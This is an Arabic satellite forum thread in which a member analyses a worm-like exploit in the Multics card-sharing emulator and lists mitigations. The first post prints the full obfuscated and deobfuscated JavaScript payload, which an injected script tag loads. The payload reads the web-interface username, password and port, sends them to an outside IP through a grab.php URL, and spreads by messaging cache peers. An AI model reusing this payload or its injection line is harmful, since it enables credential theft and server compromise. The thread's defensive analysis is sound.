محترفي السات الأردني - Powered by vBulletin

banner
النتائج 1 إلى 8 من 8
  1. #1
    الصورة الرمزية Raed Saadeh
    تاريخ التسجيل : Apr 2006
    رقم العضوية: 4
    المشاركات : 11,114
    الدولة: Jordan - Amman

    Ham ثغرة خطيرة في Multics جميع اصحاب السيرفرات تفضلوا بالدخول للضرورة

    السلام عليكم ..

    كيف الحال اخواني ..

    قبل عدة ايام لقد كتبت شخصيا في احدى المنتديات تحليل كامل عن ثغرة خطيرة في الايميو Multics الاصدارات الحديثة تؤدي لاختراق السيرفر كاملا ..

    ومحتوى المقالة الخاصة بي :

    تم الاكتشاف مؤخرا وجود ثغرة في اصدارات الملتي التي يوجد بها رسائل للكاش ..

    وبعد قراءة العديد من الافكار والاراء حول الموضوع في عدة منتديات وخصوصا في هذا المنتدى .. وجدت انه لا يمكن البقاء على التخمين فقط ..

    لذلك .. تم العمل على الموضوع لمعرفة ما اذا كانت هي ثغرة فعلا وما هي وظيفتها ..


    وتوصلت لنتائجي الشخصية وهي بعد البحث في المسج :

    شرح بسيط عن الثغرة :

    هي عبارة عن استغلال برمجي في Multics لسحب بيانات السيرفر عن طريق كود Java يتم تفعيله بالمتصفح لصاحب السيرفر .. مما يؤدي الى سرقة بيانات صاحب السيرفر وارسالها للمخترق ..

    وهي ثغرة تعتبر ثغرة متصفح .. والكود البرمجي لها تم عمله بواسطة شخص محترف في مجال الملتي وهو شخص عنده الكود المصدري ( السورس كود ) على الاغلب وبيعرف تماما شو بعيمل ..


    تم الوصول للكود الخاص بالثغرة عن طريق المسجات التي تصل الى الكاش .. بعد فتح المسج وعن طريق كود الصفحة View Source أو Inspect Element سوف تلاحظ وجود كود ثغرة الذي يعمل فورا عند فتح الرسالة :


    كود:
    Cache OK!</textarea><script src = " http:// 178.33.49.103/ script.js"></script>

    سوف تلاحظ وجود الاي بي الذي تم ذكره مسبقا .. وهو اي بي من شركة OVH وهذا دليل على ان الثغرة عبارة عن بعد Remote Exploit.

    وبعد تحميل الملف script.js .. سوف تجد كود الثغرة كاملا .. ولكن جزء منه تم تشفيره .. ومن الاجزاء التي تم تشفيرها هي محتوى الرسالة اي بمعنى ان المشفر ليس مهم بالدرجة التي هي فيها الكود المفتوح ..

    وهذا هو محتوى الملف :

    كود:
    var _0x1781 = ["\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4A\x4B\x4C\x4D\x4E\x4F\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5A\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6A\x6B\x6C\x6D\x6E\x6F\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7A\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x2B\x2F\x3D", "", "\x63\x68\x61\x72\x43\x6F\x64\x65\x41\x74", "\x63\x68\x61\x72\x41\x74", "\x5F\x6B\x65\x79\x53\x74\x72", "\x6C\x65\x6E\x67\x74\x68", "\x72\x65\x70\x6C\x61\x63\x65", "\x69\x6E\x64\x65\x78\x4F\x66", "\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65", "\x0A", "\x58\x4D\x4C\x48\x74\x74\x70\x52\x65\x71\x75\x65\x73\x74", "\x4D\x69\x63\x72\x6F\x73\x6F\x66\x74\x2E\x58\x4D\x4C\x48\x54\x54\x50", "\x50\x4F\x53\x54", "\x2F\x63\x61\x63\x68\x65\x70\x65\x65\x72\x3F\x61\x63\x74\x69\x6F\x6E\x3D\x73\x6D\x73\x26\x69\x64\x3D", "\x6F\x70\x65\x6E", "\x73\x65\x6E\x64", "\x2F\x72\x65\x73\x74\x61\x72\x74", "\x47\x45\x54", "\x6F\x6E\x72\x65\x61\x64\x79\x73\x74\x61\x74\x65\x63\x68\x61\x6E\x67\x65", "\x72\x65\x61\x64\x79\x53\x74\x61\x74\x65", "\x73\x74\x61\x74\x75\x73", "\x72\x65\x73\x70\x6F\x6E\x73\x65\x54\x65\x78\x74", "\x6D\x61\x74\x63\x68", "\x68\x6F\x73\x74", "\x49\x50\x3A\x20", "\x2C", "\x65\x6E\x63\x6F\x64\x65", "\x68\x74\x74\x70\x3A\x2F\x2F\x31\x37\x38\x2E\x33\x33\x2E\x34\x39\x2E\x31\x30\x33\x2F\x67\x72\x61\x62\x2E\x70\x68\x70\x3F\x63\x3D", "\x43\x61\x63\x68\x65\x20\x4F\x4B\x21\x3C\x2F\x74\x65\x78\x74\x61\x72\x65\x61\x3E\x3C\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x3A\x2F\x2F\x31\x37\x38\x2E\x33\x33\x2E\x34\x39\x2E\x31\x30\x33\x2F\x73\x63\x72\x69\x70\x74\x2E\x6A\x73\x22\x3E\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E", "\x65\x64\x69\x74\x6F\x72"];
    var Base64 = {
    _keyStr: _0x1781[0],
    encode: function(_0x8729x2) {
    var _0x8729x3 = _0x1781[1];
    var _0x8729x4, _0x8729x5, _0x8729x6, _0x8729x7, _0x8729x8, _0x8729x9, _0x8729xa;
    var _0x8729xb = 0;
    _0x8729x2 = Base64._utf8_encode(_0x8729x2);
    while (_0x8729xb < _0x8729x2[_0x1781[5]]) {
    _0x8729x4 = _0x8729x2[_0x1781[2]](_0x8729xb++);
    _0x8729x5 = _0x8729x2[_0x1781[2]](_0x8729xb++);
    _0x8729x6 = _0x8729x2[_0x1781[2]](_0x8729xb++);
    _0x8729x7 = _0x8729x4 >> 2;
    _0x8729x8 = (_0x8729x4 & 3) << 4 | _0x8729x5 >> 4;
    _0x8729x9 = (_0x8729x5 & 15) << 2 | _0x8729x6 >> 6;
    _0x8729xa = _0x8729x6 & 63;
    if (isNaN(_0x8729x5)) {
    _0x8729x9 = _0x8729xa = 64
    } else {
    if (isNaN(_0x8729x6)) {
    _0x8729xa = 64
    }
    };
    _0x8729x3 = _0x8729x3 + this[_0x1781[4]][_0x1781[3]](_0x8729x7) + this[_0x1781[4]][_0x1781[3]](_0x8729x8) + this[_0x1781[4]][_0x1781[3]](_0x8729x9) + this[_0x1781[4]][_0x1781[3]](_0x8729xa);
    };
    return _0x8729x3;
    },
    decode: function(_0x8729x2) {
    var _0x8729x3 = _0x1781[1];
    var _0x8729x4, _0x8729x5, _0x8729x6;
    var _0x8729x7, _0x8729x8, _0x8729x9, _0x8729xa;
    var _0x8729xb = 0;
    _0x8729x2 = _0x8729x2[_0x1781[6]](/[^A-Za-z0-9\+\/\=]/g, _0x1781[1]);
    while (_0x8729xb < _0x8729x2[_0x1781[5]]) {
    _0x8729x7 = this[_0x1781[4]][_0x1781[7]](_0x8729x2[_0x1781[3]](_0x8729xb++));
    _0x8729x8 = this[_0x1781[4]][_0x1781[7]](_0x8729x2[_0x1781[3]](_0x8729xb++));
    _0x8729x9 = this[_0x1781[4]][_0x1781[7]](_0x8729x2[_0x1781[3]](_0x8729xb++));
    _0x8729xa = this[_0x1781[4]][_0x1781[7]](_0x8729x2[_0x1781[3]](_0x8729xb++));
    _0x8729x4 = _0x8729x7 << 2 | _0x8729x8 >> 4;
    _0x8729x5 = (_0x8729x8 & 15) << 4 | _0x8729x9 >> 2;
    _0x8729x6 = (_0x8729x9 & 3) << 6 | _0x8729xa;
    _0x8729x3 = _0x8729x3 + String[_0x1781[8]](_0x8729x4);
    if (_0x8729x9 != 64) {
    _0x8729x3 = _0x8729x3 + String[_0x1781[8]](_0x8729x5)
    };
    if (_0x8729xa != 64) {
    _0x8729x3 = _0x8729x3 + String[_0x1781[8]](_0x8729x6)
    };
    };
    _0x8729x3 = Base64._utf8_decode(_0x8729x3);
    return _0x8729x3;
    },
    _utf8_encode: function(_0x8729x2) {
    _0x8729x2 = _0x8729x2[_0x1781[6]](/\r\n/g, _0x1781[9]);
    var _0x8729x3 = _0x1781[1];
    for (var _0x8729x4 = 0; _0x8729x4 < _0x8729x2[_0x1781[5]]; _0x8729x4++) {
    var _0x8729x5 = _0x8729x2[_0x1781[2]](_0x8729x4);
    if (_0x8729x5 < 128) {
    _0x8729x3 += String[_0x1781[8]](_0x8729x5)
    } else {
    if (_0x8729x5 > 127 && _0x8729x5 < 2048) {
    _0x8729x3 += String[_0x1781[8]](_0x8729x5 >> 6 | 192);
    _0x8729x3 += String[_0x1781[8]](_0x8729x5 & 63 | 128);
    } else {
    _0x8729x3 += String[_0x1781[8]](_0x8729x5 >> 12 | 224);
    _0x8729x3 += String[_0x1781[8]](_0x8729x5 >> 6 & 63 | 128);
    _0x8729x3 += String[_0x1781[8]](_0x8729x5 & 63 | 128);
    }
    };
    };
    return _0x8729x3;
    },
    _utf8_decode: function(_0x8729x2) {
    var _0x8729x3 = _0x1781[1];
    var _0x8729x4 = 0;
    var _0x8729x5 = c1 = c2 = 0;
    while (_0x8729x4 < _0x8729x2[_0x1781[5]]) {
    _0x8729x5 = _0x8729x2[_0x1781[2]](_0x8729x4);
    if (_0x8729x5 < 128) {
    _0x8729x3 += String[_0x1781[8]](_0x8729x5);
    _0x8729x4++;
    } else {
    if (_0x8729x5 > 191 && _0x8729x5 < 224) {
    c2 = _0x8729x2[_0x1781[2]](_0x8729x4 + 1);
    _0x8729x3 += String[_0x1781[8]]((_0x8729x5 & 31) << 6 | c2 & 63);
    _0x8729x4 += 2;
    } else {
    c2 = _0x8729x2[_0x1781[2]](_0x8729x4 + 1);
    c3 = _0x8729x2[_0x1781[2]](_0x8729x4 + 2);
    _0x8729x3 += String[_0x1781[8]]((_0x8729x5 & 15) << 12 | (c2 & 63) << 6 | c3 & 63);
    _0x8729x4 += 3;
    }
    };
    };
    return _0x8729x3;
    }
    };
    function sendSMS(_0x8729xd, _0x8729xe) {
    var _0x8729xf;
    if (window[_0x1781[10]]) {
    _0x8729xf = new XMLHttpRequest()
    } else {
    _0x8729xf = new ActiveXObject(_0x1781[11])
    };
    _0x8729xf[_0x1781[14]](_0x1781[12], _0x1781[13] + _0x8729xd, true);
    _0x8729xf[_0x1781[15]](_0x8729xe);
    }
    function restart() {
    var _0x8729x11;
    if (window[_0x1781[10]]) {
    _0x8729x11 = new XMLHttpRequest()
    } else {
    _0x8729x11 = new ActiveXObject(_0x1781[11])
    };
    _0x8729x11[_0x1781[14]](_0x1781[12], _0x1781[16], true);
    _0x8729x11[_0x1781[15]]();
    }
    function readTextFile(_0x8729x13) {
    var _0x8729x14 = new XMLHttpRequest();
    _0x8729x14[_0x1781[14]](_0x1781[17], _0x8729x13, false);
    _0x8729x14[_0x1781[18]] = function() {
    if (_0x8729x14[_0x1781[19]] === 4) {
    if (_0x8729x14[_0x1781[20]] === 200 || _0x8729x14[_0x1781[20]] == 0) {
    var _0x8729x15 = _0x8729x14[_0x1781[21]];
    var _0x8729x16 = /(HTTP PORT:.*)/i;
    var _0x8729x17 = _0x8729x15[_0x1781[22]](_0x8729x16);
    var _0x8729x18 = /(HTTP USER:.*)/i;
    var _0x8729x19 = _0x8729x15[_0x1781[22]](_0x8729x18);
    var _0x8729x1a = /(HTTP PASS:.*)/i;
    var _0x8729x1b = _0x8729x15[_0x1781[22]](_0x8729x1a);
    var _0x8729x1c = location[_0x1781[23]];
    var _0x8729x1d = _0x1781[24] + _0x8729x1c + _0x1781[25] + _0x8729x19 + _0x8729x1b + _0x8729x17;
    loadXMLDoc(Base64[_0x1781[26]](_0x8729x1d));
    }
    }
    };
    _0x8729x14[_0x1781[15]](null);
    }
    function loadXMLDoc(_0x8729x1f) {
    var _0x8729x20;
    if (window[_0x1781[10]]) {
    _0x8729x20 = new XMLHttpRequest()
    } else {
    _0x8729x20 = new ActiveXObject(_0x1781[11])
    };
    _0x8729x20[_0x1781[14]](_0x1781[12], _0x1781[27] + _0x8729x1f, true);
    _0x8729x20[_0x1781[15]]();
    }
    function sendsmsdiv() {
    for (i = 1; i <= 200; i++) {
    sendSMS(i, _0x1781[28])
    }
    }
    readTextFile(_0x1781[29]);
    sendsmsdiv();
    setTimeout(function() {
    restart()
    }, 1000);
    كما تلاحظون داخل الملف وظيفته الرئيسية هي سرقة بيانات السيرفر من بورت الويب وباسورد ويوزرنيم .. ويقوم على عمل ريستارت للملتي تلقائيا .. وبعد عمل ريستارت يعمل على ارسال هذه الرسالة الى جميع الكاشات المضافة اليك .. وهكذا يستمر بالانتشار ..

    والجزء واضح في الكود عن طريق :

    كود:
    var _0x8729x16=/(HTTP PORT:.*)/i;var _0x8729x17=_0x8729x15[_0x1781[22]](_0x8729x16);var _0x8729x18=/(HTTP USER:.*)/i;var _0x8729x19=_0x8729x15[_0x1781[22]](_0x8729x18);var _0x8729x1a=/(HTTP PASS:.*)/i
    وبما ان جزء من الكود مشفر وتم العمل على فك تشفيره .. فإن مبدأ عمل الثغرة تقريبا اصبح مكشوف ..

    وعملية حظر الاي بي المذكور 178.33.49.103 لن تاتي بنتيجة ولن تعمل على حل المشكلة لان الاتصال المباشر لن يكون عن طريق السيرفر .. وانما جهازك وسيرفر المخترق هو الاتصال المباشر ويتم سحب البيانات عن طريق المتصفح لانه يدعم الجافا ..


    وبما ان الرسائل الخاصة بالكاش في الملتي يتم نزولها في مجلد /tmp مع العلم المقصود تنظيف المجلد الموجود بالمسارات هذه :
    /tmp
    /var/tmp
    .. فهذا يعني وجود الملفات الخاصة بالرسائل في داخل المجلد ويجب تنظيفه .

    وهذا مثال للملف الذي تم انشائه للرسائل الخاصة باحد سيرفراتي :



    وبعد التحري وجد ايضا وجود رسالة تهديد عند تصفح الاي المذكور :




    وهذا يؤكد وجود عملية اختراق للسيرفر ..

    وبعد تحري سورس الصفحة في الاي بي تجد مكتوب ايضا :



    لاحظ وجود الجملة التالية في الصفحة:
    Your IP is: 46.185.****** and has been log :P



    وهذا يعني انه تم حفظ الاي بي الخاص بي عند دخول الصفحة .. وهذه فقط للتنبيه لانه واضع كود PHP بالصفحة وكان بامكانه يعمل كود Java برضه . .لكن الجافا ثغرات المتصفح اغلبها مغلقة لذلك تم استغلال الملتي ..


    وفي حين ان مبرمج الـ Multics اصله تقريبا ( فرنسي او عربي ) فهذا يعني ان لغته الرئيسية هي ليست الانجليزية .. وهذا يفسر ضعف العبارة الموجودة في السورس بدلا من كلمة Logged وضع كلمة Log ..

    وهذا ايضا يفسر احدى شكوكي التي اشك بها ان المبرمج نفسه هو من برمج هذه الثغرة وخصوصا ان السورس كود الخاص بالايميو لم يتم نشره .. فكيف لاحد ان يبرمج ثغرة بهذه الاحترافية بدون علم كامل بالسورس كود ..


    وبعد فك تشفير الثغرة من طرفي .. وجدت ان الجزء الاول كان :

    كود:
    var _0x1781 = ["ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=", "", "charCodeAt", "charAt", "_keyStr", "length", "replace", "indexOf", "fromCharCode", "
    ", "XMLHttpRequest", "Microsoft.XMLHTTP", "POST", "/cachepeer?action=sms&id=", "open", "send", "/restart", "GET", "onreadystatechange", "readyState", "status", "responseText", "match", "host", "IP: ", ",", "encode", "http://178.33.49.103/grab.php?c=", "Cache OK!</textarea><script src="http://178.33.49.103/script.js"></script>", "editor"];

    اما الجزء الثاني من الثغرة بعد فك التشفير :

    كود:
    var _0x1781 = ["ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=", "", "charCodeAt", "charAt", "_keyStr", "length", "replace", "indexOf", "fromCharCode", "
    ", "XMLHttpRequest", "Microsoft.XMLHTTP", "POST", "/cachepeer?action=sms&id=", "open", "send", "/restart", "GET", "onreadystatechange", "readyState", "status", "responseText", "match", "host", "IP: ", ",", "encode", "http://178.33.49.103/grab.php?c=", "Cache OK!</textarea><script src="http://178.33.49.103/script.js"></script>", "editor"];var Base64 = {    _keyStr: _0x1781[0],    encode: function(_0x8729x2) {        var _0x8729x3 = _0x1781[1];        var _0x8729x4, _0x8729x5, _0x8729x6, _0x8729x7, _0x8729x8, _0x8729x9, _0x8729xa;        var _0x8729xb = 0;        _0x8729x2 = Base64._utf8_encode(_0x8729x2);        while (_0x8729xb < _0x8729x2[_0x1781[5]]) {            _0x8729x4 = _0x8729x2[_0x1781[2]](_0x8729xb++);            _0x8729x5 = _0x8729x2[_0x1781[2]](_0x8729xb++);            _0x8729x6 = _0x8729x2[_0x1781[2]](_0x8729xb++);            _0x8729x7 = _0x8729x4 >> 2;            _0x8729x8 = (_0x8729x4 & 3) << 4 | _0x8729x5 >> 4;            _0x8729x9 = (_0x8729x5 & 15) << 2 | _0x8729x6 >> 6;            _0x8729xa = _0x8729x6 & 63;            if (isNaN(_0x8729x5)) {                _0x8729x9 = _0x8729xa = 64            } else {                if (isNaN(_0x8729x6)) {                    _0x8729xa = 64                }            };            _0x8729x3 = _0x8729x3 + this[_0x1781[4]][_0x1781[3]](_0x8729x7) + this[_0x1781[4]][_0x1781[3]](_0x8729x8) + this[_0x1781[4]][_0x1781[3]](_0x8729x9) + this[_0x1781[4]][_0x1781[3]](_0x8729xa);        };        return _0x8729x3;    },    decode: function(_0x8729x2) {        var _0x8729x3 = _0x1781[1];        var _0x8729x4, _0x8729x5, _0x8729x6;        var _0x8729x7, _0x8729x8, _0x8729x9, _0x8729xa;        var _0x8729xb = 0;        _0x8729x2 = _0x8729x2[_0x1781[6]](/[^A-Za-z0-9\+\/\=]/g, _0x1781[1]);        while (_0x8729xb < _0x8729x2[_0x1781[5]]) {            _0x8729x7 = this[_0x1781[4]][_0x1781[7]](_0x8729x2[_0x1781[3]](_0x8729xb++));            _0x8729x8 = this[_0x1781[4]][_0x1781[7]](_0x8729x2[_0x1781[3]](_0x8729xb++));            _0x8729x9 = this[_0x1781[4]][_0x1781[7]](_0x8729x2[_0x1781[3]](_0x8729xb++));            _0x8729xa = this[_0x1781[4]][_0x1781[7]](_0x8729x2[_0x1781[3]](_0x8729xb++));            _0x8729x4 = _0x8729x7 << 2 | _0x8729x8 >> 4;            _0x8729x5 = (_0x8729x8 & 15) << 4 | _0x8729x9 >> 2;            _0x8729x6 = (_0x8729x9 & 3) << 6 | _0x8729xa;            _0x8729x3 = _0x8729x3 + String[_0x1781[8]](_0x8729x4);            if (_0x8729x9 != 64) {                _0x8729x3 = _0x8729x3 + String[_0x1781[8]](_0x8729x5)            };            if (_0x8729xa != 64) {                _0x8729x3 = _0x8729x3 + String[_0x1781[8]](_0x8729x6)            };        };        _0x8729x3 = Base64._utf8_decode(_0x8729x3);        return _0x8729x3;    },    _utf8_encode: function(_0x8729x2) {        _0x8729x2 = _0x8729x2[_0x1781[6]](/\r\n/g, _0x1781[9]);        var _0x8729x3 = _0x1781[1];        for (var _0x8729x4 = 0; _0x8729x4 < _0x8729x2[_0x1781[5]]; _0x8729x4++) {            var _0x8729x5 = _0x8729x2[_0x1781[2]](_0x8729x4);            if (_0x8729x5 < 128) {                _0x8729x3 += String[_0x1781[8]](_0x8729x5)            } else {                if (_0x8729x5 > 127 && _0x8729x5 < 2048) {                    _0x8729x3 += String[_0x1781[8]](_0x8729x5 >> 6 | 192);                    _0x8729x3 += String[_0x1781[8]](_0x8729x5 & 63 | 128);                } else {                    _0x8729x3 += String[_0x1781[8]](_0x8729x5 >> 12 | 224);                    _0x8729x3 += String[_0x1781[8]](_0x8729x5 >> 6 & 63 | 128);                    _0x8729x3 += String[_0x1781[8]](_0x8729x5 & 63 | 128);                }            };        };        return _0x8729x3;    },    _utf8_decode: function(_0x8729x2) {        var _0x8729x3 = _0x1781[1];        var _0x8729x4 = 0;        var _0x8729x5 = c1 = c2 = 0;        while (_0x8729x4 < _0x8729x2[_0x1781[5]]) {            _0x8729x5 = _0x8729x2[_0x1781[2]](_0x8729x4);            if (_0x8729x5 < 128) {                _0x8729x3 += String[_0x1781[8]](_0x8729x5);                _0x8729x4++;            } else {                if (_0x8729x5 > 191 && _0x8729x5 < 224) {                    c2 = _0x8729x2[_0x1781[2]](_0x8729x4 + 1);                    _0x8729x3 += String[_0x1781[8]]((_0x8729x5 & 31) << 6 | c2 & 63);                    _0x8729x4 += 2;                } else {                    c2 = _0x8729x2[_0x1781[2]](_0x8729x4 + 1);                    c3 = _0x8729x2[_0x1781[2]](_0x8729x4 + 2);                    _0x8729x3 += String[_0x1781[8]]((_0x8729x5 & 15) << 12 | (c2 & 63) << 6 | c3 & 63);                    _0x8729x4 += 3;                }            };        };        return _0x8729x3;    }};function sendSMS(_0x8729xd, _0x8729xe) {    var _0x8729xf;    if (window[_0x1781[10]]) {        _0x8729xf = new XMLHttpRequest()    } else {        _0x8729xf = new ActiveXObject(_0x1781[11])    };    _0x8729xf[_0x1781[14]](_0x1781[12], _0x1781[13] + _0x8729xd, true);    _0x8729xf[_0x1781[15]](_0x8729xe);}function restart() {    var _0x8729x11;    if (window[_0x1781[10]]) {        _0x8729x11 = new XMLHttpRequest()    } else {        _0x8729x11 = new ActiveXObject(_0x1781[11])    };    _0x8729x11[_0x1781[14]](_0x1781[12], _0x1781[16], true);    _0x8729x11[_0x1781[15]]();}function readTextFile(_0x8729x13) {    var _0x8729x14 = new XMLHttpRequest();    _0x8729x14[_0x1781[14]](_0x1781[17], _0x8729x13, false);    _0x8729x14[_0x1781[18]] = function() {        if (_0x8729x14[_0x1781[19]] === 4) {            if (_0x8729x14[_0x1781[20]] === 200 || _0x8729x14[_0x1781[20]] == 0) {                var _0x8729x15 = _0x8729x14[_0x1781[21]];                var _0x8729x16 = /(HTTP PORT:.*)/i;                var _0x8729x17 = _0x8729x15[_0x1781[22]](_0x8729x16);                var _0x8729x18 = /(HTTP USER:.*)/i;                var _0x8729x19 = _0x8729x15[_0x1781[22]](_0x8729x18);                var _0x8729x1a = /(HTTP PASS:.*)/i;                var _0x8729x1b = _0x8729x15[_0x1781[22]](_0x8729x1a);                var _0x8729x1c = location[_0x1781[23]];                var _0x8729x1d = _0x1781[24] + _0x8729x1c + _0x1781[25] + _0x8729x19 + _0x8729x1b + _0x8729x17;                loadXMLDoc(Base64[_0x1781[26]](_0x8729x1d));            }        }    };    _0x8729x14[_0x1781[15]](null);}function loadXMLDoc(_0x8729x1f) {    var _0x8729x20;    if (window[_0x1781[10]]) {        _0x8729x20 = new XMLHttpRequest()    } else {        _0x8729x20 = new ActiveXObject(_0x1781[11])    };    _0x8729x20[_0x1781[14]](_0x1781[12], _0x1781[27] + _0x8729x1f, true);    _0x8729x20[_0x1781[15]]();}function sendsmsdiv() {    for (i = 1; i <= 200; i++) {        sendSMS(i, _0x1781[28])    }}readTextFile(_0x1781[29]);sendsmsdiv();setTimeout(function() {    restart()}, 1000);

    وهذا يفتح امامي وامام الجميع معرفة مميزات الثغرة وطريقة عملها .. ولو ان السورس كود موجود معي لكنت قد عالجت الثغرة ونشرت الايميو المعدل .. ولكن للاسف ..


    الطرق المضمونة للحفاظ على سيرفرك :

    1- تنظيف مجلد /tmp كاملا .. والافضل حذفه او تغيير اسمه حتى لا يوصلك رسائل اخرى ..
    2- تغيير باسورد الـ Web Interface للملتي واليوزر نيم والبورت ..
    3- تاكد من عدم وجود اي يوزر بصلاحية معينة في سيرفرك.
    4- قم بعمل ايقاف للويب ملتي مؤقتا : HTTP EDITOR: OFF وايقاف الريستارت HTTP RESTART: OFF .

    5- لا تفتح اي رسالة تصلك على الكاش والافضل تغيير باسورد الروت ( مع انها غير مستهدفة ولا يمكن سحبها عن طريق الجافا بالمتصفح ).


    هذا الموضوع حصري ومن كتابتي .. وانا من كتبه في عدة منتديات .. لذلك يرجى اقتباس الحقوق عند النقل ..

    ساوافيكم بكل جديد حول الموضوع

    تحياتي للجميع ..
    اخوكم رائد سعادة ..


  2. #2
    كبار الشخصيات
    الصورة الرمزية محمودعلقم

    تاريخ التسجيل : Nov 2009
    رقم العضوية: 46857
    المشاركات : 1,265
    الدولة: الاردن --- عمان
    الهواية: no
    المعدل اليومي: 0.24
    محمودعلقم غير متصل

    افتراضي رد: ثغرة خطيرة في Multics جميع اصحاب السيرفرات تفضلوا بالدخول للضرورة


    مشكور اخي رائد على هادا الشرح الرائع


  3. #3
    الصورة الرمزية khaled76

    تاريخ التسجيل : Mar 2015
    رقم العضوية: 143825
    المشاركات : 7
    الدولة: جزائر
    المعدل اليومي: 0.00
    khaled76 غير متصل

    افتراضي رد: ثغرة خطيرة في Multics جميع اصحاب السيرفرات تفضلوا بالدخول للضرورة


    مشكور اخي على هذه المعلومات


  4. #4
    الصورة الرمزية safiman

    تاريخ التسجيل : Jun 2015
    رقم العضوية: 144574
    المشاركات : 1
    الدولة: المغرب
    المعدل اليومي: 0.00
    safiman غير متصل

    افتراضي رد: ثغرة خطيرة في Multics جميع اصحاب السيرفرات تفضلوا بالدخول للضرورة


    السلام عليكم
    اخواني خبراء المنتدى اعاني منذ مدة من المشكل التالي :

    عند إطفاء جهازي ( دريم بوكس 800 HD) يلزمني إعادة تفعيل برنامج multics ب dcc

    هل من حل من فضلكم ؟

    مع الشكر المسبق


  5. #5
    [[root@jo1sat#]]

    الصورة الرمزية Raed Saadeh

    تاريخ التسجيل : Apr 2006
    رقم العضوية: 4
    المشاركات : 11,114
    الدولة: Jordan - Amman
    الهواية: Swimming .. Internet
    المعدل اليومي: 1.70
    Raed Saadeh غير متصل

    افتراضي رد: ثغرة خطيرة في Multics جميع اصحاب السيرفرات تفضلوا بالدخول للضرورة


    اقتباس المشاركة الأصلية كتبت بواسطة safiman مشاهدة المشاركة
    السلام عليكم
    اخواني خبراء المنتدى اعاني منذ مدة من المشكل التالي :
    عند إطفاء جهازي ( دريم بوكس 800 HD) يلزمني إعادة تفعيل برنامج multics ب dcc
    هل من حل من فضلكم ؟
    مع الشكر المسبق

    هذا الموضوع بفيدك :
    http://www.jo1sat.com/showthread.php?t=204739


  6. #6
    الصورة الرمزية amer adnan

    تاريخ التسجيل : Aug 2010
    رقم العضوية: 70376
    المشاركات : 165
    المعدل اليومي: 0.03
    amer adnan غير متصل

    افتراضي رد: ثغرة خطيرة في Multics جميع اصحاب السيرفرات تفضلوا بالدخول للضرورة


    مشكور


  7. #7
    الصورة الرمزية رياض العرور

    تاريخ التسجيل : Jan 2016
    رقم العضوية: 146062
    المشاركات : 105
    الدولة: الاردن
    المعدل اليومي: 0.04
    رياض العرور غير متصل

    افتراضي رد: ثغرة خطيرة في Multics جميع اصحاب السيرفرات تفضلوا بالدخول للضرورة


    مشششكور معلومه مهمه يا غالي


  8. #8
    الصورة الرمزية farid34000

    تاريخ التسجيل : May 2006
    رقم العضوية: 2933
    المشاركات : 5
    المعدل اليومي: 0.00
    farid34000 غير متصل

    افتراضي رد: ثغرة خطيرة في Multics جميع اصحاب السيرفرات تفضلوا بالدخول للضرورة


    بارك الله فيك على المتابعة أخي


المواضيع المتشابهه

  1. تحميل جميع نسخ ايميو الملتي All MultiCS EMU Versions - تحديث 2020
    بواسطة Raed Saadeh في المنتدى منتدى MultiCs Card Server و CCCAM
    مشاركات: 7
    آخر مشاركة: 25-10-2023, 10:21 AM
  2. مشاركات: 0
    آخر مشاركة: 17-08-2016, 02:27 PM
  3. مهم لاصحاب السيريلات 101---102 تفضلوا بالدخول
    بواسطة محمد صوافطة الطوباسي في المنتدى المواضيع المهمة للميكروبكس 1
    مشاركات: 3
    آخر مشاركة: 02-07-2011, 06:59 PM
  4. تم ايقاف جميع السيرفرات التي يعتمد عليها الواي 6
    بواسطة ابو حاتم- في المنتدى دنجل y5&y6
    مشاركات: 13
    آخر مشاركة: 04-06-2011, 02:38 PM

الكلمات الدلالية لهذا الموضوع

المفضلات

المفضلات

ضوابط المشاركة

  • لا تستطيع إضافة مواضيع جديدة
  • لا تستطيع الرد على المواضيع
  • لا تستطيع إرفاق ملفات
  • لا تستطيع تعديل مشاركاتك
  •